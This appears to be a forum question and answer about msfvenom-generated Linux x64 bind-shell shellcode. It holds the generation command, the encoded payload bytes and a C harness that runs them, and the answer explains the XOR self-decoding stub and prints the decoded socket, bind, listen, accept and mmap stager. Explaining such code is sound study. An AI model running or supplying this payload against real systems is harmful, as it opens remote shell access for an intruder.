I am generating bind_tcp shellcode on my Ubuntu with the following command:
msfvenom -p linux/x64/shell/bind_tcp -b "\x00" -f c RHOST=172.31.31.179 LPORT=1234
And my C code to test it is:
#include <stdio.h>
#include <string.h>
__attribute__((section(".text#")))
unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\xce\xce\x52\xea\xc0\xc8\xf1\x54\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa4\xe7\x0a"
"\x73\xaa\xca\xae\x3e\xcf\x90\x5d\xef\x88\x5f\xa3\x93\xca"
"\xea\x50\xea\xc4\x1a\xb9\xdd\x28\xa4\x42\xb0\xaa\xf9\xa9"
"\x5b\xcb\x97\x38\xd8\x98\xc7\xf4\x1c\x58\xa4\x79\xb2\xcf"
"\xcd\xa1\x02\x91\xa4\x5b\xb2\x59\x7e\xe1\x1c\x47\x18\x1f"
"\xdb\x09\xa2\xd3\x15\x94\x7c\x55\xe5\xc5\x80\x67\x1c\x59"
"\x91\x5d\xef\x3f\x2e\xf1\x54";
int main() {
printf("Shellcode Length %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling the code with
gcc -z execstack -fno-stack-protector -o shellCode shellCode.c
then running ./shellCode
generates a segmentation fault. However, if I move the code array into the main
function (and remove the __attribute__
), the code works and I can exploit with msfconsole.
My question is: why does defining code as a global variable not work? I have checked both the ELF files, and both times the code is under the .text
section. But the difference is:
In the global variable version, the shellcode resides in a separate section called code
inside section .text
and the disassembly seems incorrect:
0000000000001180 <code>:
1180: 48 31 c9 xor rcx,rcx
1183: 48 81 e9 f6 ff ff ff sub rcx, 0xfffffffffffffff6
118a: 48 8d 05 ef ff ff ff lea rax,[rip +0xffffffffffffffef] # 1180 <code>
1191: 48 bb ce ce 52 ea c0 movabs rbx, 0x54f1c8c0ea52cece
1198: c8 f1 54
119b: 48 31 58 27 xor QWORD PTR [rax +0x27],rbx
119f: 48 2d f8 ff ff ff sub rax, 0xfffffffffffffff8
11a5: e2 f4 loop 119b <code+0x1b>
11a7: a4 movs BYTE PTR es:[rdi], BYTE PTR ds:[rsi]
11a8: e7 0a out 0xa,eax
11aa: 73 aa jae 1156 <__do_global_dtors_aux+0x36>
11ac: ca ae 3e retf 0x3eae
11af: cf iret
11b0: 90 nop
11b1: 5d pop rbp
11b2: ef out dx,eax
11b3: 88 5f a3 mov BYTE PTR [rdi-0x5d],bl
11b6: 93 xchg ebx,eax
11b7: ca ea 50 retf 0x50ea
11ba: ea (bad)
11bb: c4 (bad)
11bc: 1a b9 dd 28 a4 42 sbb bh,BYTE PTR [rcx +0x42a428dd]
11c2: b0 aa mov al,0xaa
11c4: f9 stc
11c5: a9 5b cb 97 38 test eax,0x3897cb5b
11ca: d8 98 c7 f4 1c 58 fcomp DWORD PTR [rax +0x581cf4c7]
11d0: a4 movs BYTE PTR es:[rdi], BYTE PTR ds:[rsi]
11d1: 79 b2 jns 1185 <code+0x5>
11d3: cf iret
11d4: cd a1 int 0xa1
11d6: 02 91 a4 5b b2 59 add dl,BYTE PTR [rcx +0x59b25ba4]
11dc: 7e e1 jle 11bf <code+0x3f>
11de: 1c 47 sbb al,0x47
11e0: 18 1f sbb BYTE PTR [rdi],bl
11e2: db 09 fisttp DWORD PTR [rcx]
11e4: a2 d3 15 94 7c 55 e5 movabs ds:0x80c5e5557c9415d3,al
11eb: c5 80
11ed: 67 1c 59 addr32 sbb al,0x59
11f0: 91 xchg ecx,eax
11f1: 5d pop rbp
11f2: ef out dx,eax
11f3: 3f (bad)
11f4: 2e f1 cs icebp
11f6: 54 push rsp
In the local variable version it looks like this (starting from line 1175):
1169: f3 0f 1e fa endbr64
116d: 55 push rbp
116e: 48 89 e5 mov rbp,rsp
1171: 48 83 c4 80 add rsp,0xffffffffffffff80
1175: 48 b8 48 31 c9 48 81 movabs rax,0xfff6e98148c93148
117c: e9 f6 ff
117f: 48 ba ff ff 48 8d 05 movabs rdx,0xffffef058d48ffff
1186: ef ff ff
1189: 48 89 45 80 mov QWORD PTR [rbp-0x80],rax
118d: 48 89 55 88 mov QWORD PTR [rbp-0x78],rdx
1191: 48 b8 ff 48 bb ce ce movabs rax,0xc0ea52cecebb48ff
1198: 52 ea c0
119b: 48 ba c8 f1 54 48 31 movabs rdx,0x482758314854f1c8
11a2: 58 27 48
11a5: 48 89 45 90 mov QWORD PTR [rbp-0x70],rax
11a9: 48 89 55 98 mov QWORD PTR [rbp-0x68],rdx
11ad: 48 b8 2d f8 ff ff ff movabs rax,0xa4f4e2fffffff82d
11b4: e2 f4 a4
11b7: 48 ba e7 0a 73 aa ca movabs rdx,0xcf3eaecaaa730ae7
11be: ae 3e cf
11c1: 48 89 45 a0 mov QWORD PTR [rbp-0x60],rax
11c5: 48 89 55 a8 mov QWORD PTR [rbp-0x58],rdx
11c9: 48 b8 90 5d ef 88 5f movabs rax,0xca93a35f88ef5d90
11d0: a3 93 ca
11d3: 48 ba ea 50 ea c4 1a movabs rdx,0x28ddb91ac4ea50ea
11da: b9 dd 28
11dd: 48 89 45 b0 mov QWORD PTR [rbp-0x50],rax
11e1: 48 89 55 b8 mov QWORD PTR [rbp-0x48],rdx
11e5: 48 b8 a4 42 b0 aa f9 movabs rax,0xcb5ba9f9aab042a4
11ec: a9 5b cb
11ef: 48 ba 97 38 d8 98 c7 movabs rdx,0x581cf4c798d83897
11f6: f4 1c 58
11f9: 48 89 45 c0 mov QWORD PTR [rbp-0x40],rax
11fd: 48 89 55 c8 mov QWORD PTR [rbp-0x38],rdx
1201: 48 b8 a4 79 b2 cf cd movabs rax,0x9102a1cdcfb279a4
1208: a1 02 91
120b: 48 ba a4 5b b2 59 7e movabs rdx,0x471ce17e59b25ba4
1212: e1 1c 47
1215: 48 89 45 d0 mov QWORD PTR [rbp-0x30],rax
1219: 48 89 55 d8 mov QWORD PTR [rbp-0x28],rdx
121d: 48 b8 18 1f db 09 a2 movabs rax,0x9415d3a209db1f18
1224: d3 15 94
1227: 48 ba 7c 55 e5 c5 80 movabs rdx,0x591c6780c5e5557c
122e: 67 1c 59
1231: 48 89 45 e0 mov QWORD PTR [rbp-0x20],rax
1235: 48 89 55 e8 mov QWORD PTR [rbp-0x18],rdx
1239: 48 b8 91 5d ef 3f 2e movabs rax,0x54f12e3fef5d91
1240: f1 54 00
1243: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax
1247: 48 8d 45 80 lea rax,[rbp-0x80]
124b: 48 89 c7 mov rdi,rax
124e: e8 0d fe ff ff call 1060 <strlen@plt>
1253: 48 89 c6 mov rsi,rax
1256: 48 8d 3d a7 0d 00 00 lea rdi,[rip+0xda7] # 2004 <_IO_stdin_used+0x4>
125d: b8 00 00 00 00 mov eax,0x0
1262: e8 09 fe ff ff call 1070 <printf@plt>
1267: 48 8d 45 80 lea rax,[rbp-0x80]
126b: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
126f: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
1273: b8 00 00 00 00 mov eax,0x0
1278: ff d2 call rdx
127a: b8 00 00 00 00 mov eax,0x0
127f: c9 leave
1280: c3 ret
1281: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0]
1288: 00 00 00
128b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
Does msfvenom require making the shellcode a local variable? If so, is there any way to walk around this mechanism?
As you can see from the first few instructions of the shellcode you're trying to execute:
1180: 48 31 c9 xor rcx,rcx
1183: 48 81 e9 f6 ff ff ff sub rcx,0xfffffffffffffff6
118a: 48 8d 05 ef ff ff ff lea rax,[rip+0xffffffffffffffef] # 1180 <code>
1191: 48 bb ce ce 52 ea c0 movabs rbx,0x54f1c8c0ea52cece
1198: c8 f1 54
119b: 48 31 58 27 xor QWORD PTR [rax+0x27],rbx
119f: 48 2d f8 ff ff ff sub rax,0xfffffffffffffff8
11a5: e2 f4 loop 119b <code+0x1b>
...
The shellcode is self-modifying. The first few instructions locate the rest of the machine code to execute, load the address into RAX, and then XOR it 8 bytes at a time with the constant 0x54f1c8c0ea52cece
in a loop. When that's done (after 10 iterations it seems, since RCX starts from 10) the rest of the shellcode will be executed.
This works well if you declare the code in a section that is readable, writable and executable (such as the stack when using -z execstack
), but it definitely cannot work in a section that is only readable and executable (such as the text). Therefore, you should either use the stack (local variable) or tell Msfvenom to produce shellcode that is not self-modifying. Not sure how to accomplish the second option since I've never used that tool, but maybe look at a different -p
payload or look at --payload-options
.
The second code snippet for the local variable case seems to make more sense only because declaring a local buffer on the stack will result in the compiler emitting a bunch of MOV/MOVABS instructions to populate the buffer before the actual function starts. So what you see is not the shellcode, but merely code that is writing the shellcode to the stack. The actual shellcode execution starts here:
1278: ff d2 call rdx
And you will not be able to see/dump it with a simple disassembler like you did in the first case.
In any case, the shellcode that gets executed will still be the same as the one you printed for the global variable case. It will self-modify and then execute. This time however it will work because the stack is RWX with -z execstack
.
If you run your program under a debugger such as GDB and single-step after call rdx
, you will be able to see the self-modification happen and you will be able to observe the rest of the code after it is XORed. I did this for you, and the shellcode after the loop looks like this:
0: 6a 29 push 0x29
2: 58 pop rax
3: 99 cdq
4: 6a 02 push 0x2
6: 5f pop rdi
7: 6a 01 push 0x1
9: 5e pop rsi
a: 0f 05 syscall
c: 48 97 xchg rdi,rax
e: 52 push rdx
f: c7 04 24 02 00 04 d2 mov DWORD PTR [rsp],0xd2040002
16: 48 89 e6 mov rsi,rsp
19: 6a 10 push 0x10
1b: 5a pop rdx
1c: 6a 31 push 0x31
1e: 58 pop rax
1f: 0f 05 syscall
21: 59 pop rcx
22: 6a 32 push 0x32
24: 58 pop rax
25: 0f 05 syscall
27: 48 96 xchg rsi,rax
29: 6a 2b push 0x2b
2b: 58 pop rax
2c: 0f 05 syscall
2e: 50 push rax
2f: 56 push rsi
30: 5f pop rdi
31: 6a 09 push 0x9
33: 58 pop rax
34: 99 cdq
35: b6 10 mov dh,0x10
37: 48 89 d6 mov rsi,rdx
3a: 4d 31 c9 xor r9,r9
3d: 6a 22 push 0x22
3f: 41 5a pop r10
41: b2 07 mov dl,0x7
43: 0f 05 syscall
45: 48 96 xchg rsi,rax
47: 48 97 xchg rdi,rax
49: 5f pop rdi
4a: 0f 05 syscall
4c: ff e6 jmp rsi
P.S.: that "section" you see called code
:
0000000000001180 <code>:
Is not a section, it's just a symbol referring to the global variable code
, and objdump
(or whatever tool you used to disassemble the ELF) is highlighting where the symbol starts for you.